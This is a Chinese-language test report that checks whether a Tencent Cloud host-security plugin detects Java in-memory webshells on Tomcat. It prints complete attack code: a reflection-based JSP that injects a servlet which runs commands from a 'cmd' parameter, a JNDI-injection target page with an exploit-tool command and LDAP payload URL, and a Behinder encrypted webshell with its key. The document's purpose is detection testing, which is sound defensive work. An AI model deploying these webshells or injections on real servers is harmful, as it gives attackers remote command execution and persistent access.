内存马插件测试

内存马插件测试文档

测试目的

使用腾讯云主机安全测试内存马检测情况,测试的范围包括在Java Web服务中注入内存马几类常见情况:

  1. 有文件落地型:通过上传并触发jsp在Web服务中注入内存马。
  2. 无文件落地型:通过利用漏洞在Web服务中注入内存马(恶意class)。
  3. 常见工具类:一些攻防场景中会用到的内存马,如:冰蝎、哥斯拉等。

测试环境

  • 操作系统:Linux(Debian 10)
  • 腾讯云主机安全产品版本:旗舰版
  • Web容器:tomcat
  • Java版本:jdk1.8.0_65
  • 其他:漏洞环境依赖的库、JNDI-Injection-Exploit-Plus、冰蝎v4.0.6

测试步骤

前期准备工作

启动用于测试的Web容器:

在主机安全——入侵防御——高级防御——Java内存马——插件配置中将测试靶机的Java内存马插件启用:

有文件落地型

有文件落地型的内存马即通过上传jsp文件到Web容器中,通过加载jsp,实例化恶意class,将内存马注入到目标jvm进程中,这里拿servlet型内存马论述。

一个有回显的servlet类型的内存马的jsp demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext"%>
<%@ page import = "org.apache.catalina.core.StandardContext"%>
<%@ page import = "javax.servlet.*"%>
<%@ page import = "javax.servlet.http.HttpServletRequest"%>
<%@ page import = "javax.servlet.http.HttpServletResponse"%>
<%@ page import = "java.io.IOException"%>
<%@ page import = "java.lang.reflect.Field"%>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>

<%
class EvilServlet implements Servlet{
@Override
public void init(ServletConfig config) throws ServletException {}
@Override
public String getServletInfo() {return null;}
@Override
public void destroy() {} public ServletConfig getServletConfig() {return null;}

@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
HttpServletRequest request1 = (HttpServletRequest) req;
HttpServletResponse response1 = (HttpServletResponse) res;
if (request1.getParameter("cmd") != null){
InputStream is = Runtime.getRuntime().exec(request1.getParameter("cmd")).getInputStream();
BufferedInputStream bis = new BufferedInputStream(is);
int len;
while ((len = bis.read())!=-1){
res.getWriter().write(len);
}
}
else{
response1.sendError(HttpServletResponse.SC_NOT_FOUND);
}
}
}
%>


<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
EvilServlet evilServlet = new EvilServlet();
Wrapper evilWrapper = standardContext.createWrapper();
evilWrapper.setName("evilPage");
evilWrapper.setLoadOnStartup(1);
evilWrapper.setServlet(evilServlet);
evilWrapper.setServletClass(evilServlet.getClass().getName());
standardContext.addChild(evilWrapper);
standardContext.addServletMappingDecoded("/evilpage", "evilPage");
out.println("动态注入servlet成功");
%>

上传到web容器,访问jsp:servlet1.jsp触发注入,然后访问恶意url:evilpage?cmd=xxx

Java内存马插件即会告警:

详情——查看文件可以看到恶意class内容:

无文件落地型

无文件落地的内存马主要通过Java Web容器中的漏洞来进行恶意class注入,攻击场景通常会被用来的进行内存马注入的漏洞如:反序列化漏洞、表达式注入漏洞、JNDI注入漏洞等,这里拿JNDI注入漏洞简单举例。

这里使用的JNDI靶场demo:

1
2
3
4
5
6
7
8
9
10
11
12
<%@ page import="javax.naming.InitialContext" %>
<%@ page import="javax.naming.Context" %>
<%
try {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
String name = request.getParameter("name");
Context ctx = new InitialContext();
ctx.lookup(name);
out.println("JNDI Attack!");
} catch (Exception ignored) {
}
%>

这里为了方便测试,这里直接使用JNDI-Injection-Exploit-Plus这个项目进行测试。

使用JNDI-Injection-Exploit-Plus启动JNDI服务:

1
java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar -A "127.0.0.1" -C "touch /tmp/success"

启动tomcat服务、打开Java内存马插件后访问url加载恶意class:

1
http://43.155.116.110:8080/WeHub/jndi.jsp?name=ldap://127.0.0.1:1389/remoteExploit8

Java内存马插件即会告警,详情——查看文件可以看到恶意class内容:

常见工具类

在攻防场景中,一般会使用一些常见的工具进行内存马注入,比如冰蝎、哥斯拉、蚁剑等,这里以冰蝎为例进行测试。

使用冰蝎生成服务端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
private byte[] Decrypt(byte[] data) throws Exception
{
String key="e45e329feb5d925b";
for (int i = 0; i < data.length; i++) {
data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));
}
return data;
}
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length=request.getInputStream().read(buf);
while (length>0)
{
byte[] data= Arrays.copyOfRange(buf,0,length);
bos.write(data);
length=request.getInputStream().read(buf);
}
/* 取消如下代码的注释,可避免response.getOutputstream报错信息,增加某些深度定制的Java web系统的兼容�??
out.clear();
out=pageContext.pushBody();
*/
out.clear();
out=pageContext.pushBody();
new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);}
%>

启动tomcat服务,打开Java内存马插件,将服务端上传到Web容器,使用冰蝎连接:

1
http://43.155.116.110:8080/shell.jsp

Java内存马插件即会告警:

使用冰蝎内置的内存马注入模块往目标Web容器注入noagent型内存马:

注入后Java内存马插件即会告警:

详情页可以看到恶意class的具体信息: